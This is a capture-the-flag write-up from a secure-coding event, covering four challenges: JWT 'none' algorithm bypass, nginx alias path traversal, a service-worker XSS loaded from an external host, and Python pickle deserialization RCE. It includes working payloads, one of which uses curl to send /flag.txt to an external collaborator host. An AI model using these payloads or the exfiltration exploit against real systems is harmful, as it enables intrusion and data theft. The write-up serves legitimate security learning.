Wizer CTF Event 6 Hour Challenge

Start Time: 4 February 2024, 10 AM Eastern Time

End Time: 4 February 2024, 4 PM Eastern Time

CTF URL: https://sam.wizer-ctf.com/?id=cdn_5ubd0m41n

This CTF focuses on secure coding, we are given the source code for each challenge to analyse.

Challenges

• JWT Authentication

• Nginx Configuration

• Recipe Book

• Profile Page

JWT Authentication

Click to see source code :diamond_shape_with_a_dot_inside:

const express = require('express');
const jwt = require('jsonwebtoken');
const bodyParser = require('body-parser');

const app = express();
app.use(bodyParser.json());
const SECRETKEY = process.env.SECRETKEY;

// Middleware to verify JWT token
// This API will be used by various microservices. These all pass in the authorization token.
// However the token may be in various different payloads.
// That's why we've decided to allow all JWT algorithms to be used.
app.use((req, res, next) => {
  const token = req.body.token;

  if (!token) {
    return res.status(401).json({ message: 'Token missing' });
  }

  try {
    // Verify the token using the secret key and support all JWT algorithms
    const decoded = jwt.verify(token, SECRETKEY, { algorithms: ['HS256', 'HS384', 'HS512', 'RS256', 'RS384', 
                                                                'RS512', 'ES256', 'NONE', 'ES384', 'ES512',
                                                                'PS256', 'PS384', 'PS512'] });
    
    req.auth = decoded;                                                                                                                      
    next();
  } catch (err) {
    return res.status(403).json({ message: 'Token invalid' });
  }
});
    
// API route protected by our authentication middleware
app.post('/flag', (req, res) => {
  if (req.auth.access.includes('flag')) {
    res.json({ message: 'If you can make the server return this message, then you've solved the challenge!'});
  } else {
    res.status(403).json({ message: '🚨 🚨 🚨 You've been caught by the access control police! 🚓 🚓 🚓' })
  }
});

app.listen(3000, () => {
  console.log(`Server is running on port 3000`);
});

This app will check if the token parameter is present in the request body's JSON data.

image

If token is present it will Verify the JWT token.

Reference for JSON web tokens (JWTs): https://portswigger.net/web-security/jwt

image

It support all JWT algorithms including NONE to verify JWT token, so we can bypass the verification using NONE as algorithm. It will accept tokens that have no signature at all. Then it will check if {"access":"flag"} is present in jwt payload data.

image

A JWT consists of 3 parts: a header, a payload, and a signature. These are each base64 encoded and separated by a dot. now we create jwt token with HEADER (ALGORITHM & TOKEN TYPE): {"typ":"JWT","alg":"NONE"} and PAYLOAD (DATA): {"access":"flag"} with blank SIGNATURE.

Payload:

{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJhY2Nlc3MiOiJmbGFnIn0."}

image

Nginx Configuration

Through the Shelldon Cooper's flag game website, with the following nginx configuration, get the flag from flag.html

Click to see source code :diamond_shape_with_a_dot_inside:

user  nginx;
worker_processes  1;
events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;

        location / {  # Allow the index.html file to be read
            root   /usr/share/nginx/html;
            index  index.html;
        }

        location /assets {  # Allow the assets to be read
            alias /usr/share/nginx/html/assets/;
        }

        location = /flag.html {  # The flag file is private
            deny all;
        }

        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   /usr/share/nginx/html;
        }
    }
}

At first, I didn't really know what to do, so I used the CTF Ninja Technique. I googled "nginx configuration ctf" and came across the "off-by-slash" vulnerability.

When a Nginx directive does not end with a slash, it is possible to traverse one step up. This incorrect configuration could allow an attacker to read file stored outside the target folder.

Here the location /assets don't have the trailing slash, so we can read the files in it's parent folder

Nginx alias directive defines a replacement for the specified location. Here /assets is alias of /usr/share/nginx/html/assets/. so /assets../flag.html will become /usr/share/nginx/html/assets/../flag.html and it will return the contents of flag.html.

Payload:

https://nginx.wizer-ctf.com/assets../flag.html

image

Recipe Book

Inject an alert("Wizer")

Click to see source code :diamond_shape_with_a_dot_inside:

const express = require('express');
const helmet = require('helmet');
const app = express();
const port = 80;

// Serve static files from the 'public' directory
app.use(express.static('public'));
app.use(
    helmet.contentSecurityPolicy({
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", ],
        styleSrc: ["'self'", "'unsafe-inline'", 'maxcdn.bootstrapcdn.com'],
        workerSrc: ["'self'"]
        // Add other directives as needed
      },
    })
  );

// Sample recipe data
const recipes = [
    {
        id: 1,
        title: "Spaghetti Carbonara",
        ingredients: "Pasta, eggs, cheese, bacon",
        instructions: "Cook pasta. Mix eggs, cheese, and bacon. Combine and serve.",
        image: "spaghetti.jpg"
    },
    {
        id: 2,
        title: "Chicken Alfredo",
        ingredients: "Chicken, fettuccine, cream sauce, Parmesan cheese",
        instructions: "Cook chicken. Prepare fettuccine. Mix with cream sauce and cheese.",
        image: "chicken_alfredo.jpg"
    },
    // Add more recipes here
];

// Enable CORS (Cross-Origin Resource Sharing) for local testing
app.use((req, res, next) => {
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
    next();
});

// Endpoint to get all recipes
app.get('/api/recipes', (req, res) => {
    res.json({ recipes });
});

app.listen(port, () => {
    console.log(`API server is running on port ${port}`);
});

Url: https://events.wizer-ctf.com/

In the webpage there is a https://events.wizer-ctf.com/app.js. when we analyse it, we notice that it will Get the "mode" and "color" GET parameters from url and assign it to modeParam and colorParam

image

Then it will set document.getElementById("mode").children[0].id = modeParam; and document.getElementById(modeParam).textContent = colorParam;

image

image

Here if we put GET parameter mode=sw then we can control the value of const sw it will be what we give in GET parameter color.

explanation:

Parameter Retrieval:

• modeParam = searchParams.get('mode'):

  1. Stores the value of the query parameter named mode in the modeParam variable.

• colorParam = searchParams.get("color"):

  1. Similarly, retrieves the value of the color parameter and stores it in colorParam.

Element Updates:

• document.getElementById("mode").children[0].id = modeParam;:

  1. Finds the element with the ID "mode" and targets its first child element.

  2. Sets the id attribute of the child element to the value of modeParam.

• document.getElementById(modeParam).textContent = colorParam;:

  1. Uses the value of modeParam to look up an element by its ID

  2. Sets the textContent of that element to the value of colorParam.

Service Worker Registration:

• sw = document.getElementById('sw').innerText;:

  1. Retrieves the innerText (text content) of the element with the ID "sw".

  2. Stores the retrieved content in the sw variable.

https://events.wizer-ctf.com/sw.js?sw= have the following code

// Allow loading in of service workers dynamically
importScripts('/utils.js');
importScripts(`/${getParameterByName('sw')}`);

It will import the serviceWorker from the value of sw since we can control it we can import our own serviceWorker with sw=\\atacker.com/sw.js. This will get the file from https://atacker.com/sw.js

now to craft our serviceWorker take a look at this

image

this will listen for message event on BroadcastChannel('recipebook') and it will alert the message property of a message.

BroadcastChannel enables communication between different windows, tabs, or workers within the same origin. postMessage() method will trigger the 'message' event on other instances of the BroadcastChannel with the same name.

so in serviceWorker we create a new BroadcastChannel instance using the same name ('recipebook'): const channel = new BroadcastChannel('recipebook'); Use the postMessage() method on the BroadcastChannel instance to send a message with a message property: channel.postMessage({ message: 'Wizer' });

serviceWorker payload:

const channel = new BroadcastChannel('recipebook');
channel.postMessage({ message: 'Wizer' });

upload this file publicaly on internet: https://aftab700.pythonanywhere.com/api/xss

Payload:

https://events.wizer-ctf.com/?mode=sw&color=\\aftab700.pythonanywhere.com/api/xss

image

Profile Page

Get the flag and submit it here (https://dsw3qg.wizer-ctf.com/submit_flag/) to win the challenge! (profile page: https://dsw3qg.wizer-ctf.com/profile)

Click to see source code :diamond_shape_with_a_dot_inside:

from flask import Flask, request, render_template
import pickle
import base64

app = Flask(__name__, template_folder='templates')
real_flag = ''
with open('/flag.txt') as flag_file:
    real_flag = flag_file.read().strip()

class Profile:
    def __init__(self, username, email, bio):
        self.username = username
        self.email = email
        self.bio = bio

@app.route('/profile', methods=['GET', 'POST'])
def profile():
    if request.method == 'POST':
        username = request.form.get('username')
        email = request.form.get('email')
        bio = request.form.get('bio')

        if username and email and bio:
            profile = Profile(username, email, bio)
            dumped = base64.b64encode(pickle.dumps(profile)).decode()
            return render_template('profile.html', profile=profile, dumped=dumped)    

    load_object = request.args.get('load_object')
    if load_object:
        try:
            profile = pickle.loads(base64.b64decode(load_object))
            return render_template('profile.html', profile=profile, dumped=load_object)
        except pickle.UnpicklingError as e:
            return f"Error loading profile: {str(e)}", 400

    return render_template('input.html')

@app.route('/submit_flag/<flag>', methods=['GET'])
def flag(flag):
    return real_flag if flag == real_flag else 'Not correct!'

if __name__ == '__main__':
    app.run(debug=True)

image

Here if GET parameter load_object is present it will pass it to pickle.loads(base64.b64decode(load_object)).

pickle.loads() is used to unpickle (deserialize) the data and takes a variable containing byte stream as a valid argument.

It is vulnerable to pickle insecure deserialization.

To exploit this vulnerability, we will use __reduce__ method. __reduce__ allows you to define a custom way to reconstruct the object during deserialization. It can be used for execution of arbitrary code during deserialization

I wasted so much time on payload making because i was using os.system but it didn't work at last subprocess.Popen worked.

[!NOTE] It won't work because os.system method uses respective shell of the Operating system that it is running on so for os.system to work during Deserialization we need to Serialize the payload on the machine that matches the target OS. Here target is running Linux so Windows won’t work

python exploit code:

import pickle
import base64
import os
import requests


class RCE:
    def __reduce__(self):
        import os
        import subprocess
        return (subprocess.Popen, (('curl','bwb2r04nf32cz2y75mho7eus4jaay8mx.oastify.com', '-d', '@/flag.txt'),0))

pickled = pickle.dumps(RCE())
x2 = base64.b64encode(pickled).decode()

r = requests.get(f"https://dsw3qg.wizer-ctf.com/profile?load_object={x2}",proxies={'http':'http://127.0.0.1:8080'})
print(r.text)

Request to collaborator:

image

Payload:

https://dsw3qg.wizer-ctf.com/submit_flag/WIZER{'PICKL1NG_1S_DANGEROUS'}

---

made it to the top 10 😊

:octocat: Happy Hacking :octocat: